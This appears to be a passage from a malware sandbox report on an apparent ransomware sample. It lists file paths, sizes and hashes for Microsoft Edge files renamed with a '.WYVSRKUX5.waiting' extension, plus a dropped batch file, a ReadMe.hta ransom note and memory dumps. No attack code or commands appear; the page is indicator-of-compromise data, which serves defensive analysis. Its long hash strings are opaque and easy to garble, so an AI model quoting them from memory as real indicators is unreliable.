MD5 0e9a46e404d169b51eddfb5c4cc4371b
SHA1 8e561d00f3ecd4678a0bdec96a4bddc229364885
SHA512 3a91e6fb099af5f1be6b58de92ac43e37dd972a41ab5051530151a79012ec7da8f8c86e116aaceaab90ebfdd0b7db648b3be6404af230c65654e8c0acfa8361c
SSDEEP 384:hWXeyja5ZRXcyodkiVzfIlqZSp9BWFdkrbMWVKEQfbnzUIkkw:IXeRHodkiV7oN66bMSCbz1w
TLSH
T1E982D0F4852A0E83355815ED201A6E62E7A89B8DD5FC8DE035B0DF73C48D0ED4BAA185
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stable.identity_helper.exe.manifest WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_proxy\stable.identity_helper.exe.manifest WYVSRKUX5.waiting
Size 2KB
SHA256 d5071e522e716dd957a5037f0ccf60730ec8823f0f8d4cb65f3125fb3bb50124
MD5 f4e1f085ccf9817342e2ba5a10a41fcb
SHA1 d8e5b308d5c556b05a793536c71e7c8ad725bafd
SHA512 eb3ba411e1c5670e41b4182beb60f03024201823f36bfa2abe8b4d41580fd69e7271c5e6e8bf99af86176721193da47ab13e2e6d152182a068987bd6e726cbb1
TLSH
T149516C11C3AA18FB032FA10D8828EBB69443467F733051A3872021569377F959CFE09C
MD5 SHA1 SHA512 TLSH

Submit Download

identity_helper.Sparse.Stable.msix WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_proxy\win10\identity_helper.Sparse.Stable.msix WYVSRKUX5.waiting
Size 58KB
SHA256 35e783888931c2dfeb36f1378b0f8c08a1ce85b8ea2098b88e3f545682e02db4
MD5 4b6cc1e746914bc8bd64e8921db75b40
SHA1 3e6f091ea74ccc6fb084eda36160bc1a59e2a6db
SHA512 75b181b333a1b1624b0001396781fca0a0813082a1db22d69587bda1860bf26786e3b2098e53d3fa60433dbd489a4370ecbdb435a3c78f6f34d8d7997478dd95
SSDEEP 1536:/VXmjyYSO0MF8Ubx3dhPWBnbRuBocrU1IDNaXbOGoizdyTQbhxx10w:/VXOWO0uNW+2bWpaNoizdyTQ3xaw
TLSH
T1754301689708C6F3A68333A0C2505DD75EAEBD583574B280D63B76B902C68C7F63725E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

identity_helper.Sparse.Internal.msix WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_proxy\win11\identity_helper.Sparse.Internal.msix WYVSRKUX5.waiting
Size 58KB
SHA256 8fd6899ee5b3fb7445b56f9b3ddad52a8aec84cd28059727b961386204721cad
MD5 4b16d43e5ad9f091d8b5c47c97efc4fd
SHA1 de9e7588c0657e9682f6722e71656b5a0eb410e6
SHA512 d6fb6b0eb1531e0449267f71085191983d6a2d319bab16dbd60e6f5f2f715c85a5212ec3facf669278e0b2af4a5c11e252e253a1702996888fc111de223e92a1
SSDEEP 768:0j4QPixYXhaxWsqBVh4nneL2yITdSirR5z9QPS27LcKuSk2rqc9Cy8Z+zZ/9Nf+G:JQPxTh4nnekTdTt2+Sk2raq/HesQVw
TLSH
T12D431273BF8E0C3740151BE0F4A916A4BEF3969EC7150B128943A7121B38AD894D8F6B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

identity_helper.Sparse.Stable.msix WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_proxy\win11\identity_helper.Sparse.Stable.msix WYVSRKUX5.waiting
Size 58KB
SHA256 038e4f81e4a634db7100638133a1b2fabda1720e8c34b7a863f538393169a8ca
MD5 ff33a1324ea5ac0e69a6a6085b5fbf77
SHA1 af412fa96304a2a99a94892e0e08a6d2bde4a178
SHA512 f18e1e0b9c1770557b070a127de6788ec9e802499e538e07234b08b1441b93a88b62d5fa76567e1e1e2e863cd12bb5952179393f4b9e6e724fdaba3b32307aec
SSDEEP 1536:OZpA3oFnRaoB+eikjHkoR+ANyrpyelu7U8BwwEw:c3ao86jEeTNyrEaqUKwBw
TLSH
T1204302E682CFBDE032C524EDE7E64AEA5A6D964146434C691AF3C1273EC2DF36050D1E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mip_core.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\mip_core.dll WYVSRKUX5.waiting
Size 5.2MB
SHA256 89f88d83a10201b238101267945527a963a66758a37ae344c759991651f88031
MD5 46dfe73d8423f43be6a8462b19e67951
SHA1 f6b44144deb1c4e605de7de1950c071f1481c99d
SHA512 5eaf7ca70eec47bd1c6a12af13886edf477a7f60069c438cc507ad341b511cf44c31d0e14b745d1065eb35bd30ccddf4dbac888f716cc2c232073060ab2f3e28
SSDEEP 49152:B1kkd0Z2Q0PUZZFp+vE6DQbNQqbM7ZvaL4Zrzi8n8sJsRrlurPuTtuGKc7mhT5Ck:B1kQGtZEvEKCelfzhuTJytXiYjGPwaW9
TLSH
T1D446BE1AB6A8009DD9BAC23DC6978607E7B2F81117319BCF12A4577A1F27BD55B3E300
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msedge_elf.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\msedge_elf.dll WYVSRKUX5.waiting
Size 3.6MB
SHA256 aeb191636ef8b80892d3ce479c74d467b9a7cc442af7f89a09706740e8b4e0c1
MD5 cf6bf578efbbd3155ce4fa27b7670263
SHA1 6facb1c4875665ea9d953e3edbc38c0f69f6ce86
SHA512 65b363b1d25d5b568fc41484e0f66fe2384b6d6b89b36af6871009b7021114f71e16875b5efb9140d434a618d936b9d636084ed4e61c7d88cc31435761eb9abd
SSDEEP 49152:dUpTgTPWsIdMYPpTygdrPJmdiiv4uxLpw8aZGCR+HTWhQTRHUJOL5G7jquWdpQZZ:dU1MPWphpd1PivfxVpTWuw+QFL
TLSH
T144067A03F28A4095D089D178CF678721EBA27C986BF262EF32407AD12E76BD47739750
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msedge_proxy.exe WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\msedge_proxy.exe WYVSRKUX5.waiting
Size 1.4MB
SHA256 5edc65675ee9c6abdae025beacef1989b6874394d2aa678d93928deb5e66f0ee
MD5 75c24dc44bce5b16bd78361248e7db81
SHA1 1ba999eeda895979c982662a364fc0365abd8e81
SHA512 24021ac941f0f362700979f851b4bf4a698f217f8cd35a9f7fee7218aa0e56fb491e1a225bb13f18eb273eeb4f68a60caeb7336fb0bac739550217d605de5683
SSDEEP 24576:q4rtfzMgEjJ3xxS0h28kLeKbqEvNUv5+/CPim95NKn0h6GqgGmq/SZ:qEcV3K0yeuOIqPiukn66dy
TLSH
T1C3650103F7984AC5C0A9C6B4D5208E29A5B57C514B68AFEF5F40320D2D3ABD49F79F22
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msedgewebview2.exe WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\msedgewebview2.exe WYVSRKUX5.waiting
Size 3.4MB
SHA256 56681461b507348e762751d066eac697a6db0fc38006de5fd89419f59ac39ddd
MD5 6e9e47a4c4827f8536c0d2709b739627
SHA1 030cbe3891b2e2212ecc6ee672f78261062e0e49
SHA512 9fe17228de24f85fdffd6562210e4de0d8afa24899d72057e39246d6d5f91f57f659f02082c33c963e003f454531decfe93cb9ed77a7b641a00a10591cd64870
SSDEEP 49152:HCCiQE9C+AOKlxNC8ALU1edXUjw7AYErz7z4AkOuaRoBISCaQZCLlrr1:iCa9C+nGW8AY1GUjwQ8OnZG
TLSH
T1BBF59C03A29940D8D199D074CE4A8223EBA17C8D47F6A6EF329076D53E77EE47B39710
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

msvcp140.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\msvcp140.dll WYVSRKUX5.waiting
Size 573KB
SHA256 60956f7b365ae7a778ff8681d76f8b94920f55831e2c4d1e71554652b3ab415a
MD5 74efbb358adcfa3513461045cf569a54
SHA1 691afb93be7231b33ba4038b9eb539e5ce421f26
SHA512 d5f6fea8f742e0bab5b2a113f07d4341d8c49da470f685f78c3375696bf8f2e1a29cd44a6754389c16a4a5cc144734f57fea0d06e262f28bd59a7511f7eded94
SSDEEP 12288:bZaByN02TgEcPuUPCBy4xriEur2iFcxCKLmZu8yZ+q0:bZJBzcPhCri8iWQXZu8yD0
TLSH
T103C4238F2D3E96468E4F880ECF389FC5C685C9F00F273E8C15793693E6861476992E59
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

notification_helper.exe WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\notification_helper.exe WYVSRKUX5.waiting
Size 1.6MB
SHA256 fa2d73cf3b87a18f189cbe6c43963bf0e6da18d3f55788ac31f10bcddd7cb4ee
MD5 e9db0cc2cc935ca8d7c3f0c9592a167d
SHA1 54822abd44ac4879e3b9066ec577133c07328e64
SHA512 04a550a5afd6e84b6f01df236ca4bddf3f9e81b2932f745222a750219f385c50eee5cdc1706631727d84d5859f079ad56d5764f25e1769cc60652236475f856d
SSDEEP 24576:KHoj+tDN+oB+25qtf38jWFjzj/kKaFDydiC9sj9U6/QVTKof/eSmfHU9YawsNP:moj+tDN3EpN7pjsOdLej9UkG//hmfHIP
TLSH
T19775F003B7A88AD5D468C778C661C515E6B53C410FB0AADF1786324E1E77AE88F39F21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

oneauth.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\oneauth.dll WYVSRKUX5.waiting
Size 5.4MB
SHA256 ee2965cf62c8757dd148ebd73c6bc0398167801f7023879a1b79d7bcbeca627e
MD5 803f7b00d8c4defb356ca3ccdc1974d8
SHA1 37e4d760d168cef33a6faca40b9994be23843c40
SHA512 a6b88a4a00b865509be3462ff2fea69ea0937cc8e65b858bf0f112a48598f61bffe771ff74c2bc2566aa9d013d5857a3ca72b06c08410e27a57bd0af621c6f65
SSDEEP 49152:UfMdTxeWRRBNnVDdlIwyJTSjo9Eqzn0xETsdCoTRdaI748oWzfUObMUcX3/n2PK+:sMxxewNpnQ8yPgcR3/M1VhLxtQcL
TLSH
T1D6468D027AEACAA9C098C87156478657EF1174D70BB2EADF40C5121D3FBBBB45F2C129
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

oneds.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\oneds.dll WYVSRKUX5.waiting
Size 3.0MB
SHA256 5826dfa104dc1981eadd8ec4d5f60e3ba10f685431d59c03027eb697f59f33a2
MD5 7e54bce7a35766718a234aba5b81e178
SHA1 bfe10a9763587197dc76f5e00e3c4b7d25b59a85
SHA512 b8106998e5f9a798d8da2116f86c53b07c62c4b4be1e2e707a6752a8a6a08319fc051390b28991683899b923cd5fd6bf9669dc7b02acbdb9eaf87e7ff6736d6f
SSDEEP 49152:OxBEbDdIfZxUIDfVCbYsybeYyN8WlW6V9V++Kge2n5h/:OjEbDOXUQVCbYsyXOW6V9dx/
TLSH
T1D2E5AE03FA9BC9A9D04DC434C7278716966138D61F23A3DF06942A193F6BBE46B3D394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vccorlib140.dll WYVSRKUX5.waiting

Path C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\vccorlib140.dll WYVSRKUX5.waiting
Size 355KB
SHA256 da003308fe00744d64bbd9958c5b03ecb804e905cfaa1a7cdbfeb5f6dd6a7cdb
MD5 393ea161aea358bcff779f7d14543e4c
SHA1 97502dddaac5e24d826f80f088d531f29c1b8d01
SHA512 320924e44a86ced5cc97661383caf37ffabd95621db5490697dec9fa797caaf1b89d1a9e625a7c3f3115a96341e21cc4b61208b6b9e8fd6a495b31e93ec9df45
SSDEEP 6144:9hQDGND6Ui/lc2/IkrmOTZmiO14Zds/9zvWPWwWMJiXpmNzGD54FApQJ:/QDGNRitvgVO1eS8/1vWJhot5ZKJ
TLSH
T19A7423DD9B1505B1B819B3980A32B0C59793F0C1DD1C2A4E3BE3DA7E72BBF95E01A521
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rwjfk.bat

Path C:\Windows\rwjfk.bat
Size 144B
SHA256 593d002c58bbcab7a6fee250b15b360552e360a08995e9057646493184f47b76
MD5 4e714e2aa7f0c6a762c4d9a5162e3173
SHA1 ed3b8509ff3f9e849f2c2450d14f09a33ea1785e
SHA512 d666e12c232626c6d7726529ee82f0413aa0e8f100f1d2b37a89f1e6f749fed505c82e66ff9b54ba4fc24df64f95c46c1e4714fa86682e173f3c60311d26492f
TLSH
T183C08C13085F2A96EE920C8B9CD25023B11BE2C9288110620004388AECDA59CCC9AE81
MD5 SHA1 SHA512 TLSH

Submit Download

ReadMe.hta

Path F:\$RECYCLE.BIN\ReadMe.hta
Size 11KB
SHA256 217b2fffa1e6f58ad2db591c9d779c0aa0e7d618bb6f7ad4e35e983367dbb075
MD5 7f30060c12acbbba9e8ce14c9550a0ff
SHA1 6b8ed8cd0be6fad1242aad7ea21d1323891183eb
SHA512 a7298fdc4ed885f9c984efb955010f0de7e4ffd49c1a6a9bfd849a8f962c92750f5e2a1c91d3667a5d9dd5ce387d748e38c5993941be374586167074611d15a7
SSDEEP 192:M3mZxU1UPRHPEXyBYet2yXTWXnhLxmoLlfzfM8uaG3UN7tMs+OqdOgzGLPFVo:M1MRECCy+nZLlJdGEN7tMbNQdVo
TLSH
T124326C7376530022EF47CCE3B63AA70039A1C91ED4D38E548BAC01D86ADC907FA1E75A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/948-2-0x000001FDE9810000-0x000001FDE9812000-memory.dmp

Download

memory/1372-21-0x00000000034D0000-0x00000000034D5000-memory.dmp

Download

memory/2348-4-0x0000000140000000-0x00000001402F7000-memory.dmp

Download

memory/2348-1-0x0000000140000000-0x00000001402F7000-memory.dmp

Download